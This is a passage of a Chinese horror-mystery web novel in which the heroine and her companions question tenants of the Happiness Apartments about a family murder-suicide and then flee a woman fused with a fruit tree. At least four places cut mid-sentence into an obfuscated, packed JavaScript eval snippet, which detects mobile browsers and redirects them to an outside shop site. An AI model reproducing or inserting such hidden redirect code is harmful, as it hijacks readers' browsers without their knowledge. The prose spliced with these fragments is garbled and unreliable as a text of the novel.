过了一会儿,一个披着浴袍的女生浑身散着热气打开了门。 “不好意思,我刚刚在洗澡,没听见敲门声。” 她的头发还湿着,这会正用毛巾细致地挤压水份,郝荨想起从隔壁跑出的男人,皱了皱眉。 “进来说吧。” 施婉婉带着大家坐下,她着实是个美人,哪怕还在上学,哪怕此刻她刚洗完澡,根本没有化妆,也能看得出她惊人的美貌。 “我们来主要是想打听一下关于金顺的事,方便的话,也想问问楼里还有什么别的怪事。” 施婉婉耸肩:“当然可以,我没什么不能说的。” 她翘起二郎腿,掏出一根细细的女士香烟,没有点燃,只夹在手指尖转了转: “要我说啊,金顺那家子死得好!” 郝荨一惊:“怎么说?” “他还欠我钱呢!” 说到这施婉婉就生气:“他拿他全家性命发誓,跟我说能翻倍,我才相信的他,结果呢?!五千块!五千块钱!我所有的积蓄就这么没了!” 她用力攥住那根烟,昂贵的女士烟很脆弱,一捏就折,烟丝被她揉进掌心,她愤恨道:“他还好意思自杀,一跳了之真是便宜他了!” 施婉婉越想越气,她站起来推开窗户,看着捅穿金顺的栅栏才勉强解气。 “他做的不是小卖部生意吗?能翻倍?” 施婉婉回过头:“小卖部?他那小卖部早就不行了,具体的我也不太清楚,只知道他朋友有什么灰色门路,据说能赚大钱。” 她将碾碎的烟丝小心放进手帕里包好,拿起一旁的护手霜仔细涂抹在手上,护手霜的牌子郝荨不认识,但包装看起来很精致,价格不菲,可惜的是,施婉婉的手指却有些粗糙。 略大的骨节上有许多细小伤痕,掌心带茧,手指上的毛刺被她细细抚平,在护手霜的作用下坚持不了几秒又炸开。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304140|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 郝荨盯着她的手看了一会儿,想起田全骂她的“乡巴佬”,她的家境不好吗? 施婉婉抹得有点不耐烦,抬头恰好撞上郝荨专注的目光。 她坦然一笑:“我男朋友送的,说是国外的大牌,可贵了!但我的手呢也就这样,擦多少都抹除不了大山带给我的痕迹。” “你很厉害。”郝荨没有刻意夸赞她,她是真心这么觉得,“能考上大学,你真的很厉害。” 施婉婉有些惊讶:“很多人说过我厉害,可你是头一个真心夸我的。” “离开家时我爸妈说我厉害,但我知道他们在骂我,因为我没有听他们的话辍学嫁给村长家的傻儿子,偷跑到城里后,我找的男朋友呢也各个都在夸我厉害,可惜,都是在ch——” 说到这,她忽然看到抱着只破烂兔子的方柚柚,紧急把后头的词咽了下去:“也有很多其他人说我厉害,比如楼下姓田的,早上我看到你们在一起,他是不是说我坏话了?” 施婉婉坐回沙发,拢了拢半干的头发,她没有要郝荨回答,而是自顾自地继续说: “当然啦,他们说我什么都无所谓,我就是想往上爬,读最多的书,赚最多的钱,比所有人过得都好!” 郝荨望向四周,施婉婉的房间里确实有许多书,除了学业书籍外还有很多外文原版书,包装精致,沙发旁就有一本摊开的经济学书籍,密密麻麻的笔记布满书页,书页中夹了一张干净的纸笔,似乎被主人当做书签来使用。 她的生活用品很多都很朴素,像是从地摊淘来的,但如睡衣、香水、护肤品化妆品等等倒是昂贵的很,房间里还有一些奇奇怪怪的昂贵摆件。 “那些都是你男朋友送的吗?” “嗯。” 施婉婉表情很嫌弃:“又贵又卖不出几个钱,还要占位置,麻烦死了,最麻烦的还是这个——” 她指向角落里的一座巨大盆栽,花盆又高又大,盆栽被精心修剪成了两颗爱心并合的形状。 “哇……” 好土。 这盆栽土到她一时词穷,只能勉强维持震撼的表情顿在原地,法瑟看了看她,又多看了几眼那盆盆栽。 “不过,你讨厌金顺还情有可原,为什么要说他一家子都死得好呢?” “他们那家子可不是什么省油的灯,平时斤斤计较也就罢了,没事还要搞点小偷小摸的,我找上门去,他们还不承认!还敢骂我——”她又看了眼方柚柚。 “总之,骂得老凶!气得我要动手,他爹娘就开始碰瓷,他媳妇儿就开始一哭二闹三上吊!还要拉拢其他人把我赶出公寓!” 郝荨很惊讶:“还有这事?” “是啊,也不止我讨厌他们,丁婆也讨厌死他们了,尤其是他家那几个小孩,丁婆本来就不喜欢别人去打扰她,他们还天天玩捉迷藏躲到丁婆的阳台上,不是躲在树上就是躲在花草里,把阳台搞得一团乱,死了很多花花草草,把老太太气的,说要毒死他们家小孩呢!” 见施婉婉这里问不出更多信息了,郝荨三人准备打道回府。 离出门前她忽然想起什么,转身问道:“方便借一下洗手间吗?” “随便用。” 她的洗手间里湿漉漉的,刚洗完的洗发水味道还残留在里面,还有点泥点子撒在地上,郝荨巡视了一圈,皱起眉毛。 洗手间靠外的地方有个通气孔,不算大,她凑过去一瞧。 这通气孔的隔壁,正是202的阳台。 59. 幸福公寓08 等郝荨从洗手间出来,施婉婉站起身:“我就不送你们啦,这澡才洗一半呢。” 郝荨拉住她,低声问:“你知道隔壁住了人吗?” “隔壁?隔壁没人啊。” 见她没懂,郝荨直白道:“我们刚来时看到有个男人从202出来,你的通风口。” “什么男人……啊。” 施婉婉像是想起什么,倏地住了口。 但随即她又笑了起来,满不在乎道:“我当什么事呢,好了,你们快走吧,我一会儿还有课呢!” 她知道有人偷看她? 郝荨皱起眉毛,想到那个男人离开时的方向是向下,莫非他就是田耀? 他们走后,施婉婉抽出浴袍的腰带,赤着脚重新踏入洗手间。 她轻轻哼着歌,温热的水流顺着她的小腿往下淌着,溅起无数泥点。 * “咚咚咚。” 郝荨敲响203室的门,门内传出一声刺耳的吱呀声。 紧随其后的是一个中年男人虚弱的声音:“谁啊?” “我们是田叔找来解决楼里怪事的。” “咳咳……对不住啊,我开不了门……” 方柚柚:“对哦!他腿断了起不——” 郝荨一把捂住她的嘴:“小声点。” 她也才想起来,这屋里住着的是王娴夫妻俩,王娴每天早出晚归的摆地摊卖货,就为了供养自己瘫痪在床的丈夫和在外地念书的女儿,实在辛苦。 何建国剧烈咳嗽了几声:“咳咳咳……你们明天再来吧,明天我会让我老婆别去摆摊的,明天……” 他的声音渐渐低下,几不可闻。 “明天,一定要来……” 郝荨和法瑟对视一眼:“好,那我们明天再来。” 方柚柚:“诶?” “怎么了?” 方柚柚转了几圈:“狗狗呢?” 不知道什么时候起,那只大黄狗不见了。 “跑出去玩儿了吧,”郝荨爬上三楼,正巧撞上304的方芳和齐永亮开门出来,“你们要出门吗?” 方芳看向齐永亮,齐永亮摸了摸长须:“几位——有事吗?” 郝荨解释道:“我们是想打听一下关于金顺为什么要杀人,又为什么要自杀的事,不知你们有没有了解?” 齐永亮的视线在三人中转了转,手指微微按了几下指腹。 他摇了摇头,可惜道:“我一早就看出金顺此人不可深交,也从不让家里小孩和他们玩,恐怕几位要失望了。” “哦?” 郝荨疑惑:“你们住上下楼这么久,一点都不了解吗?” “住得近也代表不了什么,我们平日里早出晚归,有时候几天都碰不上一次,自然不熟悉。” 他的鼻翼微微扇动,双目慈和而又坚定地盯着郝荨的脸,任谁听到这话都会忍不住相信他。 可郝荨知道,高明的说谎者最大的漏洞也恰恰在此。 他太想让人相信他了。 “所以,金顺杀死全家的那天晚上,你们也什么都没听到吗?” “我那天很累,早早就睡下了,还是我老婆把我推醒才知道的这件事。” 方芳忙点头:“是啊是啊,我们那天都睡得很早,要不是老田在那边大叫,我们连他掉下去不知道。” 郝荨的眉梢不着痕迹地动了一下。 “这样啊,方便进去聊吗?我们还想问问别的事情。” “这……我们还要出门——”齐永亮有些犹豫。 楼梯上忽然传来一阵狗叫:“汪!汪汪汪!” 齐念儿迈着轻快的脚步跑了上来,那只不见的大黄狗追在她身后,看起来玩得很开心。 女孩兴奋的笑在见到父母的瞬间僵在脸上。 她停下脚步,不知道该继续上前还是退后:“……爸,妈。” 方芳大声斥责:“玩玩玩,一天到晚就知道玩!还不快回家!” 齐念儿小步上前,被方芳一把扯进屋中,几人没管还站在门口的郝荨他们,推推搡搡地进了屋。 大门被用力摔上,郝荨不敢相信,她这是吃了个闭门羹?! 方芳的叫骂声和齐念儿的哭声透过薄薄的门板传出: “我让你玩狗,让你玩狗!” “不知道外面的狗多脏啊?!你看看这手!这么脏还怎么照顾弟弟?!” “好了,她回来就好——” “好什么好!万一那狗有病呢?!过给小宝怎么办?!” “呜呜呜……妈妈我错了……!” “汪!汪汪!” 大黄狗在门外咆哮着,伸出前爪拼命扒门。 “我做了什么孽啊生出你这样的女儿!” “呜呜呜呜呜妈妈…妈妈我真的错了,求求你别打了……” 郝荨哐哐拍门:“你们不出门了吗?不然我们再聊聊金顺的事?!” 屋内声音一下小了下去,过了一会儿,齐永亮的声音响起: “我们家中有事,实在招待不了各位,下次,下次再聊啊。” 郝荨贴在门上仔细听,没听到他们再打小孩的声音,她低下头,那只狗趴在门缝中嗅闻,没有再露出要攻击的模样。 方柚柚用力挠了挠大黄狗的脑袋:“乖狗狗。” 黄狗温柔舔了舔她的手心。 郝荨也蹲了下来,她摸了摸大黄狗的脊背,这狗是流浪狗,虽然吃着百家饭长大,却也只能维持在一个饿不死的状态,摸来有些硌手,棕黄色的毛毛不知道是不是染了脏东西,毛尖透着黑,仔细嗅闻,还有股烧焦的味道。 “嗬嗬……” 一阵诡异的轻笑传来,郝荨回头一瞧—— 嚯! 是住在305的那个女作家赵清溪,她的脸有些肿胀,挤在门缝中偷看着他们。 郝荨不由涌上一阵恶寒,她不等赵清溪关门,便快步起身抵住305的大门,因为用力她的表情有些狰狞:“这么巧,我正要找你呢!” 赵清溪一开始还想使劲将她推出去,直到她同行的那个男人走过来,看似轻巧的抵住门,这扇门就跟粘了胶水似的,连一毫米都动不了。 她顿了顿,沉默后退。 刚一进门,郝荨就狠狠皱起了眉头。 赵清溪的屋子明明和其他房间格局一致,看着却昏暗的多,她的鼻尖透着霉菌的气味,空气湿漉漉的,让人不太舒服。 她清清嗓子:“这些都是你收集的?” 墙面上贴着无数纸条和报纸碎片,这些纸张被裁切得很用心,它们以某种只有主人知道的规律排在墙上,郝荨看了看,大多是这几年各地发生的离奇事件,有诡异的杀人案,也有群众自述遇到的怪事,甚至还有被外星人请去吃饭再送回的传闻。 赵清溪没有回答,她只幽幽地躲在柜子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314880|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后面,透过鱼缸盯着她。 活像个女鬼。 郝荨的实现被那鱼缸吸引,这鱼缸约有她头那么大,很干净,一尾金红色的小金鱼悠哉悠哉地在缸中游动,肥嘟嘟的,一眼望去她还以为是稀有色的河豚。 这条鱼鲜活的与这间屋子格格不入。 “这是你的宠物吗?好可爱。” 可能所有养宠人都是这样,赵清溪像是被打开了什么开关似的,眼里忽然亮起了光芒。 “它叫旺财。” 郝荨:“啊……” 好朴实。 她言不由衷地夸赞:“真是个好名字!它多大啦?” “三岁,”赵清溪抬眼,“从我搬进来那天起,我们就在一起了。” “你在幸福公寓住了三年了?那你对公寓一定很熟悉吧。” “金顺自杀之前有发生过什么不寻常的事吗?” “你觉得金顺是好人吗?” 一提到公寓和金顺,对方又不说话了。 郝荨试探着站起身,见对方没反应,她开始在屋里四处转动。 “阿嚏。” 法瑟打了个喷嚏,他揉揉鼻子。 “你是想把金顺的故事写成小说吗?” 方柚柚从台下爬出,手里举着一叠稿纸。 郝荨接过,这篇小说的主角是个代号X的侦探,X侦探小姐因为贪小便宜,意外租到了一间死过人的公寓,从住进公寓的那天起,她就感到浑身不舒服,总觉得有谁在窥探她。 隔壁奇怪的一家四口,楼下的贫穷女大学生,可怜的零工夫妻俩,凶巴巴的老太太,还有一个和事佬的公寓管理人,每个人都对这间屋子讳莫如深,他们会用一种看死人的眼神看她,公寓也逐渐发生了各种怪事…… 这不就是幸福公寓正在发生的事吗? “这就没啦?后面的故事呢?”她痛心疾首,“对一个读者来说,小说在精彩部分断更也太残忍了吧!” 赵清溪嘴唇动了动:“……你喜欢这个故事?” “当然!”郝荨一副不敢相信的样子。 “你写得这么好,怎么会有人不喜欢呢?” 赵清溪垂下眼睛:“他们就不喜欢。” “他们是谁?为什么不喜欢?” “他们说……根本就没有什么怪事发生,是我…太敏感了。” 郝荨快速扫了一眼稿件:“他们胡说!” “要是真的有谁不喜欢,一定是他们没眼光!只是……唉,可惜。” 赵清溪:“……可惜什么?” 郝荨摇摇头,痛苦道:“你这本要是出版的话肯定能大卖!可惜我不是出版商,要不然一定立马签下你,三个月,不!一个月,只要给我一个月,我就能把这本书全面铺开,占领市场,从此以后,你!就是当代文坛的沧海遗珠——绝世美少女·社会派悬疑的开创者·卧薪尝胆深入一线的神·推理作家!赵清溪!” 郝荨刻意给人洗脑时的感染力很强,几乎没有人能逃脱,在场所有人都不由自主地陷入她描绘的美好幻想。 方柚柚微张着嘴,不由自主道:“好酷…我可以当美少女作家的助手吗?” 法瑟:…… 他仿佛看到了新一代传销头子的诞生。 赵清溪抿了抿嘴,忽然开口:“你们走吧。” 她从鱼缸后缓缓站起,一字一顿道:“再不走,你们也会死的。” 60. 幸福公寓09 “阿嚏!阿嚏!” 法瑟连着打了三个喷嚏,面罩外的鼻子都被他揉红了。 郝荨疑惑:“你感冒了?” 不会是昨天睡觉着凉了吧? 法瑟摇摇头,他抬头看向天花板:“是霉菌。” 霉菌? 郝荨仰起头,先前屋内光线太昏暗,她没看出来,现在仔细一瞧才发现,305的天花板上竟然是厚厚一层霉菌! 棕绿色的菌丝顺着天花板像蛛网一样蔓延,密密麻麻,叠了一层又一层。 难怪屋里又闷又湿,还有股挥不去的霉味! 郝荨问赵清溪:“你住在这会难受吗?” 她之前也住过一些很便宜的破屋,地下室和危房也住过,也没有一间像这间屋子一样让人难以忍受。 呆久了她甚至有种中了菌子毒的感觉。 “你们没听到我说话吗?再不走,你们也会死的!” 赵清溪情绪有些失控,郝荨想要拍拍她的手臂安慰,被对方一下躲过。 郝荨一顿,收回手道:“你想换个地方住吗?楼下有很多空屋子,或者,跟我们一起住也行。” 赵清溪:“为什么不走?!快走,快走!” 见她伸手赶人,郝荨只好叹了口气:“实话跟你说,我们也算不上什么大师,只是被派来解决任务的打工人,完不成就回不去。” “所以,你愿意帮助我们解决这件事吗?” 她的眼里盛满了真诚。 赵清溪有些动摇:“我……” 突然,她侧了侧头,像是听到了什么,神情重新变得癫狂:“不行…不行!” “躲不过……死亡…死亡来了!你有,他也有,大家都有!哈哈哈哈哈全是,全是死亡的味道!走开!离我远点……离我远点!!!” 她忽然暴起,将大黄狗吓了一跳,它下意识夹紧尾巴,大声咆哮:“汪汪汪汪!” 狗叫声夹杂着赵清溪的尖叫瞬间席卷整栋幸福公寓,隔壁的齐小宝也被吵醒,哇哇大哭起来。 大黄狗边叫边在屋内乱跑,直到一头撞开大门跑了出去。 “等等!” 郝荨来不及阻止,她只好顺手将赵清溪的稿件藏进衣服,随后便跟法瑟方柚柚一起被赶了出去。 305的大门“砰”一声被狠狠关上。 童谣声隔着门板幽幽传出,是赵清溪的声音。 “月亮高高挂天上,我们玩个捉迷藏,小手小脚轻轻跑,藏好藏好不被找。老大轻轻跃楼下,老二睡在大树旁,老三鱼儿水里游,老三鱼儿水里游哈哈哈哈……” * 入夜。 郝荨抱着那本写到一半的手稿翻来覆去地查看。 方柚柚歪了歪头,问:“你在看什么?” “还记得赵清溪说,有人不喜欢她的稿件吗?” 方柚柚记性很好,郝荨刚问她就想起了赵清溪的原话:“‘他们说……根本就没有什么怪事发生’?” “嗯。”郝荨哗啦啦翻到故事开始的地方,“你看这里。” 故事是从X侦探小姐搬进公寓楼开始的,每个老住户都在说,楼里多了一双眼睛。 “这有什么问题吗?” 逻辑很通顺呀,X小姐搬进来了,楼里当然多了一双眼睛。 郝荨摇头,她又翻到文里老太太和女大学生死时的片段。 “你看这两处,她们死的时候都感觉有一双眼睛在盯着自己……眼睛。” 这是个多处重复的意向,她虽然没写过小说,但只要是经历过九年制义务教育的人都知道,在一篇文章中,一个词语多处重复就一定有它的作用。 它一定在暗示什么。 “赵清溪说‘他们’不喜欢,田全说赵清溪很少出门,她的生活圈子就这么大,我们可以姑且假设这个‘他们’就是楼里的其他住户,所以——” “你是说,这些怪事在这里都发生过?” 方柚柚吃惊:“那我们……也在被这双眼睛监视?” 两人面面相觑之时,法瑟突然推门进来,将一摞盒饭放在两人面前。 “吃饭。” 他不说还好,一说郝荨的肚子就叫了起来:“哇!哪来的饭?” 她还以为这几天要一直啃小面包了! 盒饭是很朴素的家常菜,番茄炒蛋、小炒黄牛还有一个麻婆豆腐,还有锅气! 郝荨热泪盈眶:“好好吃!” 法瑟言简意赅:“外卖。” 郝荨扒饭的手一顿,啊? 迷雾游戏还能叫外卖? 方柚柚:“巴别塔?我还以为那个消息是假的。” “嗯。” “嗯?”郝荨疑惑,“什么消息?” 方柚柚被麻婆豆腐辣的直哈气,好半天才回答道:“就是有人说巴别塔之歌里有个天赋是空间传送的玩家,打破了副本与副本之间的壁垒,只要付得起代价,就可以往副本里传送东西。” 她耸耸肩:“但是因为只能传送非道具类的物品,价格又贵,所以很多人都觉得这消息是假的。” 法瑟倒是不怕辣,哐哐炫豆腐,只是郝荨盯了他半天,也没看出来这人是怎么吃饭的。 明明带着个面罩,也没见他有什么多余的动作,就这么一筷子一筷子往嘴里送饭,却连半张嘴巴都看不见,恍惚间还以为是自己眼花了。 郝荨嘴巴不停,脑子也在不停转动:“你们不觉得奇怪吗?” “公寓闹鬼也有好几天了,却没人因为鬼受到伤害,这鬼难道就吓吓他们?” 这事确实很奇怪,放在迷雾游戏里就更奇怪了。 方柚柚眼睛都辣红了,吸着鼻涕道:“可他们什么都不肯说。” 他们今天跑了一天,看似得到了许多信息,这些信息却都与金顺家和捉迷藏没什么太大的关系,整栋公寓就像个巨大的毛线团,怎么找也找不到线头。 今天已经是来到副本的第二天,再过一天,中元节就要到了。 郝荨放下筷子:“对于非暴力不合作的人,有时候,也可以动用点非常手段。” 方柚柚眼睛噌一下亮起:“什么非常手段?” “当然是——船到桥头自然直,睡觉!” * 浓黑的雾气逐渐蔓延,幸福公寓的最后一点灯光摇晃。 啪,也熄灭了。 沉默的夜里,有些许血腥气顺着冷风传入鼻腔。 郝荨站在公寓的大门前,拉了拉笔挺的棕色风衣,又检查了一番自己腰间的左轮手木仓。 她,本市最厉害的侦探——X小姐,就要在这月黑风高之夜,揭开这起深藏于公寓中的秘密——金顺一家七口惨死案件! 邪恶的罪孽之花啊,就此绽放吧! 她表情凝重地推开公寓大门,死一般的寂静里夹杂着些许液体滴落的声响。 滴,答,滴,答…… 忽然,一只手从黑暗里伸出,将她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328999|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下拽住。 久经沙场的X侦探小姐没有惊慌,她沉着冷静地扭过头去,拉住她的是她忠诚的助手——法瑟先生。 法瑟先生高大的身材紧紧塞在女仆装中,黑色的面罩将他的下半张脸捂死,只露出一双难掩紧张的眼睛。 “唔!唔唔唔!” 郝荨拍拍他的手臂:“我知道这很危险,但我有我的使命,如果你还忠实于我,就不要阻止我。” “唔唔!唔唔唔唔唔!” “好,我答应你。”郝荨望着助手先生噙满眼泪的漂亮眼睛,压下心底的遗憾,“等我回来后,我就会宣告退休,到时——” 她顿了顿,嘴角弯起:“到时,我们就去环游世界,好不好?” 法瑟先生退回了黑暗,她快步走至楼梯。 聚光灯忽的亮起,一个身穿黑色西装的背影冷酷地挡在她前进的道路上。 那背影缓缓转过身,露出了一张稍显稚嫩的脸——是排在本市最完美侦探榜第二的侦探Y小姐。 方柚柚沉着脸,严肃问道:“你确定要揭开这里的秘密?哪怕你无法承担后果?” 郝荨笑笑:“没有我挡在前面,你可就能当第一了。” 方柚柚冷哼:“我可不想成为侦探界的笑话!” “让开吧,如果是你,你会去见证这个真相吗?哪怕要为之付之一切。” 方柚柚脸色僵住,良久,她才终于开口: “真相高于一切——这是我们侦探的法则。” 聚光灯灭了,Y侦探消失在了黑暗中。 郝荨继续上楼,刚踏上二楼的地板,浓烈的血腥味就扑鼻而来,几乎让她窒息。 有什么东西挡在了204的门口。 郝荨下意识放轻脚步,踮起脚尖走到那东西身后。 那是一尊栩栩如生的古老佛像,有些掉色,却不妨碍它那温润的美。 这尊佛像拈着花,身体歪斜着,不知道被谁刻意放在这,倚在大门缝隙中。 突然,她的脚步停滞。 这尊佛像的头……怎么是倒着的? 这样一来,这尊佛像不就不是倚靠在大门上—— 而是挤在门缝中,伸着头往里看吗?! 下一秒,佛像的头忽然扭动了两下,转回了脑袋,祂的脸上本应光滑无比,却在眨眼间凭空爆出一个肉瘤,肉瘤融化、挤压、扩散,很快就延伸至整张脸。 在布满整张脸的瞬间,肉瘤忽然停止动作。 然后,一只眼睛长了出来。 那眼睛慈眉善目,见到祂的每个人都忍不住想要匍匐在地,妄图祈求祂赦免自己的罪孽。 郝荨撑住墙,费劲力气才没有趴倒在地。 佛像看了她一会儿,重新扭回了脑袋,祂认真地望着屋内的场景。 她也不由得产生好奇,祂究竟在看什么? 郝荨慢慢上前,伸直手臂将门轻轻推开。 血泊中,一具苍白僵硬的尸体躺在那里,乌黑的发丝下,是一张极为熟悉的脸—— 那是名为X侦探小姐的尸体,是她自己。 是她自己?! * 郝荨猛地坐起,冰冷的屋子里响着方柚柚熟睡的呼吸声。 是做梦啊…… 她摸了摸自己狂跳的心脏,正准备继续睡觉。 滴,答,滴,答…… 她霎时寒毛直竖,什么声音?! 大门外,有个黑影一闪而过。 61. 幸福公寓10 什么东西?! 郝荨下意识后退,一不小心压到了方柚柚,方柚柚哼哼两声,翻了个身,又睡着了。 郝荨:…… 真想跟这些睡眠质量好的拼了! 她观察了一会儿,把被子给方柚柚塞好,蹑手蹑脚下床。 正准备出门,隔壁房间的门也开了。 法瑟的头发不长也不短,此刻乱炸在头上,看着没睡醒的模样。 两人沉默着对视几秒,法瑟率先开口:“怎么了?” 郝荨有些犹豫,倒不是不愿意分享信息,而是她实在不知道该怎么说。 说她做了个怪梦,他还在她梦里穿着女仆装给她打下手,两人一起立干完这活就环游世界的FLAG? 她只好含混说:“……做了个稀奇古怪的梦,醒来感觉外面有人。” 法瑟明显一愣:“梦?” 郝荨:? 这是重点吗? 他的反应实在奇怪,郝荨敏锐地察觉到什么:“怎么?你也做梦了?” 法瑟摸了摸脖子,转移话题道:“没什么。” 他快步走到门口,在猫眼里看了看,又小心扭开门。 “你是说有人来过?” 走廊里还是幸福公寓夜晚的陈旧样子,仿佛能听见蜘蛛和藤蔓爬行的沙沙声。 没有人来过的痕迹。 郝荨皱着眉,难道是她看错了? 她仔细回忆,他们住的这间屋子已经很老了,卧室门因为潮湿已经歪斜,哪怕是关死也会露出一条堪称巨大的缝隙,恰好对着大门口。 走廊里没有灯光,自然也不会是小飞虫飞过的阴影。 她扫视着,试图寻找到某些有人来过的蛛丝马迹。 忽然,一股寒意袭来,她的脖颈瞬间发麻—— 在法瑟眼里,郝荨跟过电似的,突然打了个颤,她略有些卡顿地缓缓低下头,顺着她的视线望去,布满灰尘的地面上显示出一个清晰的圆。 “这是什么?” 夜里的走廊年久失修,灰尘积压,虽然给他们寻找线索带来了困难,却也能让一切行迹无所遁形。 郝荨艰难地喘了口气:“…是佛像。” 法瑟疑惑:“佛像?麻将馆的?” 郝荨脑子有些乱,梦里的佛像怎么会来到现实? 难不成…那佛像是活的?又或是有谁特意放在他们门口的? 这个位置……就像是祂在窥视他们。 她抬起头,定定看着法瑟:“我要去再看一下那尊倒面佛。” 法瑟二话不说,双手插兜:“走。” “但柚柚还在睡——” 滴,答,滴,答…… 郝荨闭上嘴,那声音又来了! 这次她听清楚了,是从隔壁丁婆那边传来的。 丁婆的门还是没关上,防盗门虚掩着,郝荨轻轻敲了敲,小声喊道:“丁婆?你还醒着吗?” 他们向里看去,阳台上的摇椅上有个身影躺着,没有反应。 郝荨推开门,防盗门的吱呀声也没有让人醒来。 “丁婆?我进来咯,回房里睡吧,睡这里会感冒的。” 她声音压得很低,生怕吓醒老太太。 一阵风吹过,摇椅晃了晃,刚才还没有半点动静的丁婆突然扭过脸来,慈祥又和蔼道:“你们来啦?” 她抬手向他们招了招:“快来。” 就好像是见到孙辈后高兴万分,招呼孙辈来吃糖的寻常老太太。 郝荨停下脚步,不对劲。 “来呀。” 丁婆温和地微笑着,可郝荨浑身都在发毛。 这不对劲! 从他们进入幸福公寓开始,丁婆就没给过一个笑脸,哪怕是对着几十年的老邻居,丁婆也是骂骂咧咧,仿佛除了骂人她就不会说话似的。 凶的要命。 可现在这个凶巴巴的老太太却和善地叫他们过去! “快来呀,年轻人,快来帮帮我这个老太婆。” 郝荨谨慎道:“您需要什么帮助呢?” 丁婆笑眯眯的,声音也很和煦:“人年纪大啦,连起身都很困难,来扶我一下吧。” 她越这样说,郝荨的报警雷达就越是滴滴作响。 丁婆想要他们过去?为什么? 仔细想来,他们来这里的这几天,丁婆好像就没有动过位置。 想到这,郝荨皱起眉毛,她抬起头仔细观察,丁婆的阳台上种满了花花草草,还有棵果树,果树郁郁葱葱,树影婆娑,这张摇椅就摆在树下,淹没在及腰高的花草中。 丁婆的腿……就像是被埋在了里面似的。 她的摇椅紧紧靠在树干上,影子和果树几乎融为一体。 郝荨慢吞吞道:“丁婆,扶您起来——这估计不大行啊。” 丁婆慈祥的脸一顿:“为什么不行?” “嗯……”郝荨表情有些为难,“您可能不知道,现在大城市里流行一个词——‘碰瓷’,我怕您碰瓷啊!” “……丁婆怎么会碰瓷呢?你放心啊囡囡,不会的,快来扶我一下,一下就行。” 郝荨还是摇头:“每个碰瓷的老人都是这么说的,我太善良了,不能随便把善心消耗掉。” 她眉头紧锁,很是忧虑的样子。 丁婆:…… 厚颜无耻! 丁婆似乎是发现骗不到她,转而向法瑟招手:“小伙子,你来帮帮我,别像这个小姑娘一样,一点都不敬老!” 法瑟没说话。 郝荨扭头一瞧,这人已经闭上眼睛站着睡着了! 这合理吗?! 总共进本的就三个玩家,只有她! 只有她没有觉睡! 不在沉默中爆发,就在沉默中变态! 郝荨恶狠狠地推了一把法瑟:“人老奶奶叫你呢!睡什么睡!” 法瑟眨眨眼睛,怔愣了一会儿才看向丁婆。 见他醒来,丁婆的眼中闪过一丝精光,她立刻摆出自己最慈和的笑容:“好孩子,快来呀。” 法瑟看了丁婆几眼,迟钝地问道:“树人…扶哪?” 树人?! 郝荨迅速回头,丁婆见骗不到人,脸色瞬间从慈祥变成一片铁青,她的皮肤泛上青紫色,远远看去,几乎和树皮的颜色一模一样。 树影下,有什么东西动了动,窸窸窣窣的声音传来。 郝荨猝不及防,被法瑟拉了一把。 “怎么——” 她双目圆睁,果树落在地上的阴影里,是无数细小树根! 丁婆以一种违反人体规律的姿势僵硬坐起,随着她的动作,果树也稍稍向她倾斜过来,郝荨这才发现,丁婆的下半身已经与大树完全融合! 果树吞没了她的身体,她的背也与树干密不可分。 难怪每次看到她都躺在躺椅上! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14348221|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难怪她连防盗门开了也不管,并不是她不想关,而是她关不了! 丁婆,已经彻彻底底地与这颗她精心喂养的果树连结共生! “你们怎么在我屋里?” 在果树的支撑下,丁婆扭曲站起,她已经彻底失去理智,愤怒咆哮道:“是不是你们偷得果子?!就是你们爬我的树!偷我的东西?!” “杀了你们!!!” 郝荨:“跑!” 两人转身就跑,树根顺着地面飞一般地游走过来,几乎要蹭到郝荨的脚后跟! 法瑟一把推开防盗门,孩童的嬉笑声响起—— “月亮高高挂天上,我们玩个捉迷藏……” 一个庞大的黑影从门口走了进来。 靠! 人怎么能这么倒霉! 郝荨忍不住骂了一句,他们现在前有怪物后有树人,两人背靠着背,被硬生生挤在中间。 